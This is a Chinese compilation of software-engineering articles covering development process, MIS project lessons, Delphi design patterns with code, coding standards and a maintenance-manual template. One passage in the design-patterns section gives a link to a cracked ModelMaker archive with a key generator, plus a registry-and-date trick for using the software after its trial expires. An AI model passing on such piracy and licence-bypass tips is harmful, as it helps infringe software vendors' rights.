制订进度表与构造特性小组　其于说明文件，程序管理部门协调进度表，安排出特性小组，每个小组包括大约1名程序经理，3 - 8个开发员，3 - 8个测试员(以1:1比例与开发员平行工作。)

开发阶段

用3 - 4个顺序的子项目，每个产生一个里程碑式的产品发送，来完成特性的开发。程序经理协调开发过程。开发员设计、编码、调试。测试员与开发员配对，不断进行测试。

子项目1 前1/3的特性：最重要的特性与共享的构件。

子项目2中间1/3的特性。

子项目3最后1/3的特性：最不重要的特性。

稳定化阶段

全面的内外部测试，最后的产品稳定化以及发货。程序经理协调OEM与ISV，监督从顾客得到的信息反馈。开发员进行最后的调试与代码稳定化。测试员发现并清除错误。

内部测试 公司内部对整个产品做详尽的测试。

外部测试 公司外在的"β"测试点，象OEM，ISV以及最终用户处对整个产品做详尽的测试。

发货准备 为批量生产准备发布最后的“金盘”（Golden Disk）与文档，制作之前，还需要进行各种严格的检查：如政治敏感性术语检查、病毒检查、文件相关性检查等


《软件工程》

点击下载


大型MIS软件开发的几点体会

大型MIS软件开发的几点体会

北京开思软件技术有限公司　石宏峰

大型MIS软件的开发工作是一项复杂而艰巨的系统工程,它涉及到软件工程、数据库设计、应用业务、项目控制、人员管理和计算机技术等多种知识和经验,因此任何一项大型MIS软件的开发成功都是一件极不容易的事。虽然当今的软件工程理论和数据库设计理论为我们提供了多种系统开发的方法和手段,但在实际开发工作中经常遇到的情况却是:做出来的系统不符合要求,需要大量修改;开发工作进度难以控制,工期一拖再拖;甚至有些通过了验收的项目也难逃在实际使用过程中搁浅而被束之高阁的厄运。在这里笔者姑且不对造成这种情况的原因和当前一些项目验收中存在的问题进行分析,而是就避免这些问题发生的一些做法与从事软件开发工作的同行进行一下探讨。

在多年的开发工作中,笔者主持过许多类型管理系统的设计、开发和项目管理工作,包括:学籍和考试管理、汽车租赁管理、图书馆管理、公路管理、MRPⅡ和ERP管理等。在这些项目的系统调研、总体设计、模块设计、编程、测试和项目管理工作中,我深切体会到,要想高效率、高质量地完成项目开发工作,应努力做好下面的几项工作。

一、制定开发规范

MIS软件,特别是大型的MIS软件是一项浩大的工程,需要十几个人、几十个人甚至几百个人合作开发几个月、十几个月甚至几年。要保证系统的协调性、统一性和连续性,就需要在开发之前制定严格、详细的开发规范。

开发规范的内容主要包括:系统设计规范、程序开发规范和项目管理规范等。系统设计规范规定字段、数据库、程序和文档的命名规则,应用界面的标准和风格,各类报表的输出格式等。程序开发规范对应用程序进行分类,如可将程序分成代码维护类、业务处理类、业务查询类和统计报表类等。并给出各类应用程序的标准程序流程,有必要时可编制出标准程序。项目管理规范规定项目组中各类开发人员的职责和权力,开发过程中各类问题(如设计问题、程序问题等)的处理规范和修改规则,开发工作的总体进度安排和奖惩措施等。

开发规范的制定需要花费一定的时间和精力,但是"磨刀不误砍柴功",它相当于把今后开发过程中开发人员都要遇到的问题提前做了一个考虑。有了开发规范,在后续的开发过程中,设计人员就不必每次考虑如何为一个字段命名,编程人员也不必去想某个程序的结构和布局应当怎样,测试人员也有了判断程序对错的标准。

开发规范在项目开发工作中起着事前约定的作用,需要所有开发人员共同遵守。它约束开发人员的行为和设计、编程风格,使不同子系统和模块的设计、编程人员达成默契,以便形成整个系统的和谐步调和统一风格,也便于今后的系统维护和扩展工作。

二、合理的人员构成与管理

开发项目的成功需要有一个好的开发组。高效的开发小组要有一个合理的人员构成。一般开发组应包括项目负责人、系统分析员、系统设计员、程序员和测试人员等。开发组的人员要分层次,下层人员要服从上层人员的领导。

项目组要有一个项目负责人,他对整个项目有控制和决定权,对项目开发的成败负责。软件开发中遇到问题的答案往往不止一个,因此需要有人对这些问题有决定权,避免扯皮。大型项目的负责人应有丰富的项目管理经验和数据库设计经验,另外还需对用户的实际业务有较全面和深入的理解。

系统分析员协助项目负责人进行系统分析工作,并负责某一方面的具体设计工作;系统设计员帮助系统分析员进行模块设计;程序员按照模块设计进行编程;测试人员直接受项目负责人领导,为整个项目的质量把关。所有项目组人员都应对用户的实际业务有不同程度的了解,这样有助于系统的开发工作和系统最后的成功。

三、严格控制开发进度

项目进度管理是软件开发中最难以做好的一项工作。编程工作本身是一个难以量化的工作,再加上开发过程中对设计的修改等因素,使得项目开发工作经常不能按预计的时间完成。

为了管理好项目进度,首先要制定一个可行的项目进度计划。一开始,项目进度计划只能根据项目的内容、工作量和参加人员进行大致地估算,包括系统分析和设计时间,编程、测试时间和文档制作时间,估算时应根据业务复杂程度加入一些缓冲时间。系统分析、设计完成后,根据程序清单可估算出每个程序的编程时间(根据程序类型和复杂程度),并在此基础上估算这种程序量下的测试、文档制作和缓冲时间,经过这样估算再做出的进度计划已经可以做到相当准确和细致了。实际上项目进度计划是一个由粗到细且不断调整的计划。

每周要将项目进度情况与项目进度计划进行对比。对于拖延的工作如无充份理由,则应督促有关人员加班或提高工作效率赶上进度;如有正常理由,在无法追回的情况下可以修改进度计划,申请延期。

项目进度管理一定要细致和严格,像设计、编程这种难以量化的工作是很难笼统地去控制进度的。

四、系统设计要超越业务

软件设计的好坏直接关系到项目开发的成败。在设计之前一定要对用户的业务做系统的调研,深入、全面地了解用户业务。在调查时要注意以下几点:

1.有时某个部门的业务由几个业务人员分管,调查时不能只听一个人的叙述。

2.要详细了解一个部门与其他业务部门的业务关系。

3.要了解当前业务的难点,在设计时着重解决。

4.用户不可能一次将所有业务描述清楚,所以调查要由浅入深,分多次进行。

5.调研要以我为主,围绕主题提出问题,不要陷入用户的琐碎业务中。

6.要注意收集原始凭证、报表和文字资料。

在根据调研结果做设计的时候,不要过于迷信一些教科书上介绍的数据库设计方法。在多年的实践中,我发现许多方法不但没用而且还增加工作量,在业务关系比较复杂的情况下,一些数据库设计方法是根本不能推导出设计结果的。而且直接根据收集资料和现行业务去推导数据库结构的做法也是不可取的。这是因为:

1.用户描述的业务可能不是一个好的管理方法。

2.用户描述的各部门间的业务数据传递仍是手工做法。

3.用户描述的业务不是规律性的业务流程,因此会经常发生改变。

4.用户描述的业务不适合于用计算机去实现。

5.用户的输出表格为固定的内容,不能适应业务的变化和扩展。

所以在系统设计时要超越当前的业务,抽象出业务中的管理思想和规律性的东西。为了适应

计算机管理,有时也要改变用户的业务流程,这时要与用户协商,让其理解这种改变的意义。另

外设计还应留有可扩展的余地。

五、程序设计要实用

MIS软件最终的目的是要用户使用。因此在程序设计时必须立足于操作简单、实用,并真正能为用户解决实际的业务问题。不能因为怕编程麻烦而将程序功能设计得过于简陋。

为方便用户使用,应用程序中起码应具有下面这些功能:

1.提示功能。屏幕上的代码信息(如客户代码、科目代码等)要有提示操作,使用户不必记忆很多的代码。

2.操作确认。对于一些不可恢复的操作(如记录删除等)应有操作确认,避免误操作。

3.数据校验。对于一些有限制条件的输入信息,可以自动校验其正确性,避免错误数据进入系统。

4.错误恢复。用户无意中进行了错误操作,应能有相应的处理程序挽回错误。

5.缺省赋值。对于一些常用信息可以设置缺省值,使用户不必每次都输入这些信息。

6.记录复制。用户可以复制一条或多条已存在的记录,并可修改复制结果,形成新的记录。

六、测　试

测试是保证程序质量的一项重要工作。但测试只能证明程序有错,而不能证明程序无错。所以任何软件系统都不能保证内部没有错误。为了确保软件系统的安全与可靠性,一方面要加大测试力度,另一方面要抓住测试重点。

从测试的角度来说,可将MIS软件的程序分为两类:修改数据库类和信息输出类。前一类主要是业务处理程序,是测试重点。对于前一类程序还可以进一步细分为:基础数据采集程序和数据处理统计程序。数据采集程序主要记录原始凭证信息(如发票、凭证、入/出库单等),数据处理统计程序是对数据采集程序记录下来的数据继续做加工。这两类程序中基础数据采集程序又是测试的重点。

以上是笔者在以往的MIS软件开发过程中总结出的几点经验,希望能给从事相关工作的同行们提供一点帮助。


帕里的设计模式手册

帕里的设计模式手册

：京工之鸟 翻译

设计模式------用DELPHI表述（帕里的设计模式手册）[翻译作品]

什么是设计模式？

一种设计模式是针对于某一类设计问题的，已被证实确实可靠有效的一种设计的通用思

路和解决方案；它包含了一些用来在特定场景下解决一般设计问题的类和相互通信的对

象。它所归纳的用以解决某一类问题的方案的有效性都是已经被很多的实际设计所证明

了的。同时，它也凝聚了许多经验丰富的程序员的设计经验。一个熟悉这些模式的设计

者不需要再去发现它们，而能够立即将它们应用于设计问题中。设计模式使人们可以更

加简单方便地复用成功的设计和体系结构。将已证实的技术表述成设计模式也会使新系

统开发者更加容易理解其设计思路。设计模式帮助你做出有利于系统复用的选择，避免

设计损害了系统复用性。通过提供一个显式类和对象作用关系以及它们之间潜在联系的

说明规范，设计模式甚至能够提高已有系统的文档管理和系统维护的有效性。简而言之，

设计模式可以帮助设计者更快更好地完成系统设计。设计模式并不描述链表和h a s h表

那样的设计，尽管它们可以用类来封装，也可复用，也不包括那些复杂的、特定领域内

的对整个应用或子系统的设计。

以下的设计模式来源于著名的DELPHI建模工具ModelMaker的用户手册：

封皮（Wrapper）模式：［也称转接卡（Adapter）模式］

把一个类的接口转换为调用它的客户行为所需要的接口形式；

中介者（Mediator）模式：［译者：实际上我更希望把它翻译为指挥官模式］

为被引用的类创建事件句柄，用以耦合他们；

单体（Singleton）模式：

确保一个类只创建一个实例，并且提供一个全局入口点来调用它；

装饰（Decorator）模式：

动态地给一个对象添加一些额外的职责；

锁定（Lock）模式：

提供一个机制临时的锁定一个类的某些外性；

访问者（Visitor）模式：

通过一个类来表述一个作用于某对象结构中的各元素的操作；

观察者（Observer）模式：

定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时, 所有依赖于它的

对象都得到通知；

我将写一个设计数据感应元件的实例来阐明两个最常见的设计模式，另外，下面所列的

几种在设计模式一书中所提及的模式，我也将给出一个相同的可行的例子。

抽象工厂（Abstract Factory）模式

生成器（Builder）模式

工厂方法（Factory Method）模式

封皮（Wrapper）模式

意图

封皮(Wrapper)模式把一个类的接口修改成客户调用所需要的另一种接口，这样就使原本

因接口不兼容的类而无法一起使用的类能够在一起配合使用。

动机

在Delphi的Object Pascal语言中，多态性是基于类的类型而不是基于相同的接口来实

现的。这就意味着：为了让两个类能够支持同样的接口，它们必须有同样的祖先类这样

才能在其他客户对象调用的时候实现多态性。但是有的时候我们希望两个已存在而互相

之间又没有关系的类能够在一起工作，封皮(Wrapper)模式就能够让你用另一个类来封装

某一个类的部分或全部接口，这就像在DELPHI里用uses部分来实现多继承关系一样。

让我们来看一个例子，有一个类TSample从TObject继承下来，但是我们希望能把TSample

这个类放到Delphi的控件面板（component palette）上，然而我们知道，如果一个类能

够放置到控件面板上，这个类必须从TComponent派生下来。现在我们不想在改变TSample

的祖先类TObject的情况下（比如我们并没有TSample的源代码）把TSample放到控件面板

上，我们可以构建一个继承自TComponent的并且'uses'或包含了TSample 类的TSampleWapper

类，因为TSampleWapper类继承自TComponent，所以这个类能够放置到控件面板上。现在

我们在TSampleWapper类中封装出TSample类的接口，这样TSampleWrapper类通过调用

TSample类相应的方法和属性来，实质上就可以去反映、代表他所封装的TSample类的行为

和属性；

使用封皮(Wrapper)模式的另一个理由是它可以使我们更好的遵循Demeter规范。这个

规范告诉我们的一个最基本的东西就是：不要有越过一层以上的对象引用；

现在，假设类TSample和TSampleWrapper的接口定义如下：

type

TSample = class (TObject)

private

FSomeValue: Integer;

public

function SomeAction(const Data: string): Boolean;

property SomeValue: Integer read FSomeValue write FSomeValue;

end;

TSampleWrapper = class(TComponent)

private

FSample: TSample;

public

property Sample: TSample read FSample;

end;

根据Demeter规范，像SampleWrapper.Sample这样的调用非常棒，但SampleWrapper.

Sample.SomeAction 这样的调用就不是什么好习惯了。我们应该在TSampleWrapper 里定

义一个SomeAction 方法来调用Sample.SomeAction，这样看上去就好多了。

当然，实际上，像ListBox.Canvas.Brush.Color这样违反规则的代码，虽然用了三层的引

用，但也是存在的。

实现

现在，我们将用上面假设的那两个类来示范封皮(Wrapper)模式的具体实现。在范例

TSampleWrapper类中，它通过Sample属性包含了一个TSample类。ModelMaker的封皮

(Wrapper)模式可以帮助我们在TSampleWrapper类的接口申明中创建SomeAction方法

和SomeValue属性来完全实现需要被封装的成员的封装；

TSampleWrapper = class (TComponent)

private

FSample: TSample;

protected

function GetSomeValue: Integer;

procedure SetSomeValue(Value: Integer);

public

function SomeAction(const Data: string): Boolean;

property Sample: TSample read FSample;

property SomeValue: Integer read GetSomeValue write SetSomeValue;

end;

像上面这样定义以后，我们就可以直接调用TSampleWrapper类的SomeAction方法，而不

需要再像SampleWrapper.Sample.SomeAction这样来调用了。这个定义的具体实现如下：

（请注意，下面的代码是完整的，并且已经可以直接编译的）

function TSampleWrapper.GetSomeValue: Integer;

begin

Result := Sample.SomeValue;

end;

procedure TSampleWrapper.SetSomeValue(Value: Integer);

begin

Sample.SomeValue := Value;

end;

function TSampleWrapper.SomeAction(const Data: string): Boolean;

begin

Result := Sample.SomeAction(Data);

end;

在这个例子里，你可以看到到一点封皮(Wrapper)模式的功能。总得来说归纳如下：

1,所有重新封装以后的类成员，都具有和被重新封装前同样的外性(比如名字、数据类型)；

2,重新封装以后的属性通过读写方法来存取原有的属性；

3,用属性重新封装过以后的数据域也同样通过读写方法来存取原来的数据域；

4,用事件重新封装过的事件，用读写方法来存取封装前的事件，而非用事件句柄来实现；

5,用方法重新封转过的方法，直接通过调用并传递参数给原有方法，然后直接返回所得值来实现。

抽象工厂(abstract factory)模式

出处

本模式源于设计模式一书，但模式的DELPHI实现是由Shaun Parry 完成的。

意图

提供一个创建一系列相关或相互依赖对象的接口，而无需指定它们具体的类。

动机

［详细的动机说明请参见设计模式一书］，考虑一个复合类，它在不同的应用程序中创

建时都将包含有相同的成员但又各有不同。就像你有一份文档，用不同的打印机打印出

来看上去会各有一点不同，但无论用什么打印机打印，最后打出来的文档内容应该都是

相同的。抽象工厂真正的内涵是你可以传递具有相同接口的一个类（也就是那个工厂）

给构造器，这个接口是被构造器所用的，但接口的具体实现方法，却由不同的工厂来确

定。

在上面的类流程图中，你可以看到Client类的函数CreateProduct是如何调用抽象工厂

(AbstractFactory)类的CreateProduct函数来创建一个AbstractProduct类的对象。因

为在Client类和ConcreteProduct类之间并没有任何直接的牵连，所以ConcreteProduct

可以是任何一个AbstractProduct的子类。

实现

下面是一个用来创建上面带有三个编辑框(edit boxe)的面板(panel)的例子,在这个例

子中，我们准备用专门创建的一个叫PanelMaker的类的CreatePanel方法来创建我们的

面板。

Type

TPanelMaker = class (TObject)

public

function CreatePanel( aOwner : TWinControl;

Factory : TAbstractFactory ): TPanel;

end;

implementation

function TPanelMaker.CreatePanel(aOwner : TWinControl; Factory : TAbstractFactory): TPanel;

var

TempPanel : TPanel;

TempEdit1 : TEdit;

TempEdit2 : TEdit;

TempEdit3 : TEdit;

begin

TempPanel := Factory.MakePanel( aOwner );

TempEdit1 := Factory.MakeEdit( TempPanel, 'Test1', 10, 10 );

TempEdit2 := Factory.MakeEdit( TempPanel, 'Test2', TempEdit1.Top + TempEdit1.Height + 10,

TempEdit1.Left );

TempEdit3 := Factory.MakeEdit( TempPanel, 'Test3', TempEdit2.Top + TempEdit2.Height + 10,

TempEdit2.Left );

CreatePanel := TempPanel;

end;

请注意，我们并没有直接用TPanel.Create来创建我们的面板，而是用了一个抽象工厂的

方法MakePanel来代替它，这样，如果我们要改动的时候，将变得更加容易。

抽象工厂的具体定义如下：

type

TAbstractFactory = class (TObject)

protected

FPanel : TPanel;

public

function MakeEdit( aOwner : TWinControl;vText : string;vTop : Integer;vLeft : Integer ): TEdit; virtual;

function MakePanel( aOwner : TWinControl ) : TPanel; virtual;

end;

implementation

function TAbstractFactory.MakeEdit( aOwner : TWinControl;vText : string;vTop : Integer;vLeft : Integer ): TEdit;

var

TempEdit : TEdit;

begin

TempEdit := TEdit.Create( aOwner );

TempEdit.Parent := aOwner;

TempEdit.Text := vText;

TempEdit.Top := vTop;

TempEdit.Left := vLeft;

MakeEdit := TempEdit;

end;

function TAbstractFactory.MakePanel( aOwner : TWinControl ) : TPanel;

var

TempPanel : TPanel;

begin

TempPanel := TPanel.Create( aOwner );

TempPanel.Parent := aOwner;

MakePanel := TempPanel;

end;

这个定义是用来创建标准编辑框和标准面板的，但是，如果我们想要创建一个特殊类型

的编辑框，比如说，我们希望那个编辑框只允许大写字母。

Type

TUppercaseEdit = class (TEdit)

protected

FOnChange : TNotifyEvent;

procedure Change; override;

function GetUppercase : string;

procedure SetUppercase( Value : string );

public

property Text : string read GetUppercase write SetUppercase;

end;

现在你可以创建一个用这个编辑框来代替标准编辑框的抽象工厂类的子类。

function TUppercaseFactory.MakeEdit( aOwner : TWinControl;vText : string;vTop : Integer;vLeft : Integer ): TEdit;

var

TempEdit : TUppercaseEdit;

begin

TempEdit := TUppercaseEdit.Create( aOwner );

TempEdit.Parent := aOwner;

TempEdit.Text := vText;

TempEdit.Top := vTop;

TempEdit.Left := vLeft;

MakeEdit := TempEdit;

end;

就像这样，你并不需要对PanelMaker.CreatePanel方法有任何改动。

ModelMaker 6.0 专门为delphi设计的建模工具，可以直接生成delphi代码。3.44M

http://www.24suns.com/freedelphi/newblack/vcl/downloads/Tools/ModelMaker.v6.0.WinAll.Retail.Incl.KeyFileMaker.rar

各位实在不好意思，我用IDA和w32dsm去反编译MIDEXD6.dll却不行，用trw却不能

直接跟踪dll文件的运行。好象该文件对反编译进行了处理。

目前只有一个方法就是过期后照样使用，如果过期后，在启动delphi6时

先将下面一写到一个reg文件中，导入注册表

REGEDIT4

[HKEY_CURRENT_USER]

[HKEY_CURRENT_USER1.0]

[HKEY_CURRENT_USER1.0]

"SaveDelay"="50"

[HKEY_CURRENT_USER6.0]

"MideX"="d:\ModelMaker\MideX\1.0\MIDEXD6.dll"

注意安装路径为你安装时的路径

然后将系统日期改为你安装时的日期后，启动delphi就可以使用了


开发步骤

开发步骤

1)先做应用分析,直到你和用户都明白他想要你作什么,这是最重要的.

2)用文档的方式记录下来

3)做总体系统逻辑分析.

4)做总体系统应用分析.

5)划分模块,并分配人手,

6)每队再做分析,并建立原型,修改原型.如果和他人的接口部分要改动,必须由

三方同意商定.

7)接口联合调试

8)系统调试

9)文档,用户说明.

--以上每一步的文档都要清楚,并由各模块负责人负责.

原则上编码的工作量视,如果应用模型细,就少些,反之就多些,还要看实现技术是否

容易.

团队精神很重要,要让所有人都觉得自己很有价值.

我觉得如果想将项目做得好,要做到一下几点,除非您特别牛:)

1 : 首先要熟悉用户的业务流程,明确需求,做好充分的可行性分析. 这一点我觉得

非常重要,直接决定以后工作的进度和质量.我做得第一个项目就是没有重视这一点,

需求没完全明确,到用户要求改的时候,sigh...我们几个人没日没夜的改,还是一大堆

bug在里头,痛苦,往事不堪回首:).

了解用户的业务流程最为辛苦,或则编码对于我们程序员来说不是什么大问题,

但了解业务流程绝对是难解决的,要有耐心,不完全搞清楚不要匆匆忙忙的进行系统

设计,了解也是个渐进的过程,多点和用户交流,了解他们在现行系统上面的工作情况

和工作概要时非常重要的.这一部分的工作我觉得起码要1-2周.如果项目很大,还要

更久.

可行性的分析包括了经济上的,技术上的,社会上的等等方面的因素,要了解到

用户提出的要求是不是真的能够完成,经济上有问题吗?技术上是不是不可行?都要知道

得清清楚楚.

2 : 上面的内容了解完了,可以进行系统的设计了,按照上面所得的资料,确定一个

系统的概要.最好能用建模工具如Rose将模块划分好,再按工作量具体分工.如果系统

涉及到数据库的(大多数都是这样的拉),数据库各个表的定义及优化要讨论清楚,争取

一步到位,不要等做着做着发现表的定义有问题,要改,sigh...可能工作量就大了

3 : 要具体编码了,严格控制进度是应该的,结合测试来完成,写代码的时候尽量能

加上注释.我个人认为测试时非常重要的,偏偏中国不重视这个,很多公司都没有专门的

测试人员,没办法,只要交叉测试了.

4 : 文档要齐全!特别是对大型的系统来说,这个尤为重要.文档包括一开始的需求

报告,可行性报告,系统设计的总结,模块划分的纪录,在各个阶段测试结果的纪录,用户

手册,软件说明书等等,甚至程序员在编码的时候写的注释,可以在整个软件开发的过

程中起到知道的作用.

我的看法就那么多,不知道对不对,如有不对,请大家指出//thx:)

************

说点我认为实用的罢

做一个项目,始终是人在做,书上的东西是死的,而人是活的,有了好的方法,

不一定会有好的效果.

我认为做一个项目,有以下几点注意的,当然,做一个项目不会只有这些:

1.前其人员不用太多,找几个(具体几个,看业务大小和这几个人的人员素质而定,

其实有时,也与客户的要求有关)对业务熟悉的人员(当然,也必须是熟悉开发工具的)

进行前其的调研,设计文档,此时,尚未进入编码阶段呢

2第二阶段,此时不应该是大量人员投入的阶段,而应该是找几个(也许是一两个)比较

有实力的人,做出系统的框架(如果有Delphi的话,就应该将系统总控模块做好,同时

做好各模块的接口部分)

与此同时,再找一两个人做一些基础数据的维护界面(例如人员信息维护等)

3第三阶段,此时,投入大量人员,(此时,应该是整个项目中时间最短的部分)分模块

开发,记住,开发必须是在前面定义好的接口之下,同时必须在主框架中调试

4第四阶段,最好找开始做调研的人中的一两个负责测试的主要工作(当然,测试不可能

只用一两个人,但这一两个人是总体把握什么是对的即符合用户要求的)既然测试,总会

有些问题的,所以,此时,也应该留几个开发人员跟着,(这几个开发人员的水平可以平一

一些,锻炼队伍嘛),有问题及时修改,没有问题,一起做测试

其实在开发过程中,总会有一些不太协调的地方,所以,一个项目的成败,还必须有两点

特别提出的,一是这个项目的负责人必须能够调动项目组中的每一项可利用资源(包括

员和其它各方面的东西)二是项目客户必须有一个说话可以算数的人当对项目挂名负责

真的,这两点真的很重要.

说了这么多废话,不知有没有什么用处,真的,有些算是教训吧,有些可以算是不太成熟

的经验,有没有用我实在也无从知道,因为才做过一两个比较大的项目而已


Delphi工程管理的一点经验

Delphi工程管理的一点经验

开放一个大型的系统或者一个较大的程序的时候，工程的管理就很重要了。如果不注意管理，在日后一大堆的文件里面，要找几个模块都很难！因此大家要养成良好的习惯，以下是一些经验：

首先建立一个目录，作为工程的主目录，例如：D:，大的工程一定要建立工程组文件(BPG)，例如KS.BPG，保存在主目录（例如D:）即可。然后在主目录下面建立若干个子目录，以我的一个工程为例进行说明：

D:///存储SQL文件的目录

D:///存储数据文件，例如SQL Server的MDF文件和LDF文件，或其他数据文件

D:///用于保存单元编译输出文件，必须修改DPR的Project Options，DCU输出目录修改

D:///保存本程序使用到或者自定义的控件，并且建立dpk包含使用的控件

D:///保存程序文档，如软件设计书、图、报表等

D:///备份目录

D: ///窗体文件目录

D: ///单元文件目录

D:///EXE、DLL等输出目录

...

你可以建立自己需要的目录，尽量保持主目录的清洁，另外需要说明的是，目录结构不要太深。

如果需要经常备份源代码，那么最好把所有的代码都放到一个目录，例如在AProject下面建立一个Source目录，然后把Control、Form、Unit、SQL等等源代码都放在这个目录下面，这样以后备份源代码就只要备份Source目录即可。

除了上面的目录之外，如果软件包含多个DPR模块，那么可以每一个DPR模块都必须建立一个目录与之对应，仍以我的工程为例进行说明：

D:///软件Server端对应目录，Server的Project Options设置Directories如下：

DCU Output目录： ..

Output目录： ..

Search Paths中添加： ..

D:///软件Client端对应目录，Client的Project Options设置Directories如下：

DCU Output目录： ..

Output目录： ..

Search Paths中添加： ..

D:///软件使用到的一个Dll工程对应目录，Project Options设置Directories如下：

DCU Output目录： ..

Output目录： ..

Search Paths中添加： ..

工程组文件(BPG)包含：

Server.DPR、Client.DPR、Dll.DPR、Control.DPK

以后打开的时候，不要打开DPR文件，打开BPG文件即可。如果你的每一个子工程都够复杂，那么每一个子工程都应该遵循上面的规则。

建议不要使用Delphi提供的文件备份功能，应该自己采取备份措施，并且应该定期清理备份。

使用控件的时候，尽量提取控件，把工程用到的控件都放在工程目录下面，做成一个DPK，这样，一旦把工程目录复制到其他机器，也不会因为控件缺少而打不开工程。

另外合作开发的时候必须考虑的问题：单元的命名。建议在单元的前面添加作者名字缩写，例如lyh，lmd等等。因为你无论如何也不能保证别人不使用相同的单元名称，一个典型的例子，就是大家都使用类似的命名规则如：MyClass，MyConsts，如果有几个人用同样的名称，那么在联调的时候，就会麻烦了，如果采用lyhClass，lyhConsts等等就不会出现类似的麻烦。


编程规范（程序员必看）

编程规范（程序员必看）

1.基本要求

1.1 程序结构清析，简单易懂，单个函数的程序行数不得超过100行。

1.2 打算干什么，要简单，直接了当，代码精简，避免垃圾程序。

1.3 尽量使用标准库函数和公共函数。

1.4 不要随意定义全局变量，尽量使用局部变量。

1.5 使用括号以避免二义性。

2.可读性要求

2.1 可读性第一，效率第二。

2.2 保持注释与代码完全一致。

2.3 每个源程序文件，都有文件头说明，说明规格见规范。

2.4 每个函数，都有函数头说明，说明规格见规范。

2.5 主要变量（结构、联合、类或对象）定义或引用时，注释能反映其含义。

2.7 常量定义（DEFINE）有相应说明。

2.8 处理过程的每个阶段都有相关注释说明。

2.9 在典型算法前都有注释。

2.10 利用缩进来显示程序的逻辑结构，缩进量一致并以Tab键为单位，定义Tab为 6个字节。

2.11 循环、分支层次不要超过五层。

2.12 注释可以与语句在同一行，也可以在上行。

2.13 空行和空白字符也是一种特殊注释。

2.14 一目了然的语句不加注释。

2.15 注释的作用范围可以为：定义、引用、条件分支以及一段代码。

2.16 注释行数（不包括程序头和函数头说明部份）应占总行数的 1/5 到 1/3 。

3. 结构化要求

3.1 禁止出现两条等价的支路。

3.2 禁止GOTO语句。

3.3 用 IF 语句来强调只执行两组语句中的一组。禁止 ELSE GOTO 和 ELSE RETURN。

3.4 用 CASE 实现多路分支。

3.5 避免从循环引出多个出口。

3.6 函数只有一个出口。

3.7 不使用条件赋值语句。

3.8 避免不必要的分支。

3.9 不要轻易用条件分支去替换逻辑表达式。

4. 正确性与容错性要求

4.1 程序首先是正确，其次是优美

4.2 无法证明你的程序没有错误，因此在编写完一段程序后，应先回头检查。

4.3 改一个错误时可能产生新的错误，因此在修改前首先考虑对其它程序的影响。

4.4 所有变量在调用前必须被初始化。

4.5 对所有的用户输入，必须进行合法性检查。

4.6 不要比较浮点数的相等，如： 10.0 * 0.1 == 1.0 ， 不可靠

4.7 程序与环境或状态发生关系时，必须主动去处理发生的意外事件，如文件能否逻辑锁定、打印机是否联机等。

4.8 单元测试也是编程的一部份，提交联调测试的程序必须通过单元测试。

5. 可重用性要求

5.1 重复使用的完成相对独立功能的算法或代码应抽象为公共控件或类。

5.2 公共控件或类应考虑OO思想，减少外界联系，考虑独立性或封装性。

5.3 公共控件或类应建立使用模板。


如何写程序维护手册

如何写程序维护手册

玉笛书生

    相信看帖的朋友都有这么一段难熬的时间，就是程序开发出来之后，需要撰写程序维护手册。每次总是绞尽脑汁，但是感觉写出来的维护手册效果不是很好。而往往一本好的程序维护手册对于程序将来的使用和维护都是很重要的。因为我们不能要求使用者或者是后来看此程序的人再花很多时间来研究这个程序，必须通过该程序的维护手册，让后续人员阅读以后能快速的掌握该程序的大体。

    我现在提供一种比较通用的程序维护手册书写格式。希望能给大家带来方便。

--------------------------------------------------------

文档编号

版 本 号

密 级

文档名称 XXXX程序维护手册

项目编号：

项目名称：

开发部门：

项目负责人：

编写 年 月 日

校对 年 月 日

审核 年 月 日

批准 年 月 日

程序维护手册

1引言

1．1 编写目的

[ 阐明编写维护手册的目的，简述其内容。指出读者对象（程序维护人员、研发人员）。]

1．2 开发单位

[说明项目的提出者、项目的委托单位、开发单位和使用场所。]

1．3 定义

[ 列出本文挡中用到的专业术语的定义和缩写词的原文。]

1．4 参考资料

[ 可包括：a.用户操作手册；b.于本项目有关的文档。列出这些资料的作者、标题、编号、发表日期、出版单位或资料来源以及保密级别。]

2 系统说明

2．1 系统用途

[ 说明系统具备的功能，输入和输出。]

2．2 安全保密

[ 说明系统安全保密方面的考虑。]

2．3 总体说明

[ 说明系统的总体功能、对子系统和作业作出综合性的介绍，并用图表方式给出系统主要部分的内部关系。]

2．4 程序说明

[ 说明系统中每一程序、分程序的细节和特性。]

2．4．1 程序1的说明

2．4．1．1 功能 [ 说明程序的功能。]

2．4．1．2 方法 [ 说明实现方法。]

2．4．1．3 输入 [ 说明程序的输入、媒体、运行数据记录、运行开始时使用的输入数据的类型和存放单元、与程序初始化有关的入口要求。]

2．4．1．4 处理 [ 处理特点和目的，如：a. 用图表说明程序的运行的逻辑流程; b. 程序主要转移条件；c. 对程序的约束条件；d. 程序结束时的出口要求；e.与下一个程序的通信与联结（运行、控制）; f. 由该程序产生并供处理使用的输出数据类型和存放单元。g.程序运行所用存储量、类型及存储位置等。]

2．4．1．5 输出 [ 程序的输出。]

2．4．1．6 接口 [ 本程序与本系统其他部分的接口。]

2．4．1．7 表格 [ 说明程序内部的各种表、项的细节和特性。对每张表的说明至少包括：a. 表的标识符；b. 使用目的；c. 使用此表的其他程序；d. 逻辑划分，如块或部，不包括表项；e. 表的基本结构；f. 设计安排，包括表的控制信息。表目结构细节、使用中的特有性质及各表项的标识、位置、用途、类型、编码表示。]

2．4．1．8 特有的运行性质 [ 说明在用户操作手册中没有提到的运行性质。]

2．4．2 程序2 的说明 [ 与程序1 的说明相同。以后其他各程序的说明相同。]

3 操作环境

3．1 设备

[ 逐步说明系统的设备配置极其特性 ]

3．2 支持文件

[ 列出系统使用的支持软件、包括他们的名称和版本号。]

3．3 数据库

[ 说明每个数据库的性质和内容，包括安全考虑。]

3．3．1 总体特征

[ 如：a. 标识符 b. 使用这些数据库的程序；c. 静态数据；d. 动态数据；e. 数据库的存储媒体；f. 程序使用数据库的限制。]

3．3．2 结构及详细说明

3．3．2．1 说明该数据库的结构，包括其中的记录和项；

3．3．2．2 说明记录的组成，包括首部或或控制段、记录体；

3．3．2．3 说明每个记录结构的字段，包括：标记或标号、字段的字符长度和位数该字段的允许值范围。

3．3．2．4 扩充：说明为记录追加字段的规定；

4 维护过程

4．1 约定

[ 列出该软件系统设计中所使用全部规则和约定，包括：a. 程序、分程序、记录、字段和存储区的标识或标号助记符的使用规则；b. 图表的处理标准、卡片的连接顺序、语句和记号中使用的缩写、出现在图表中的符号名；c. 使用软件的技术标准；d. 标准化的数据元素极其特征。]

4．2 验证过程

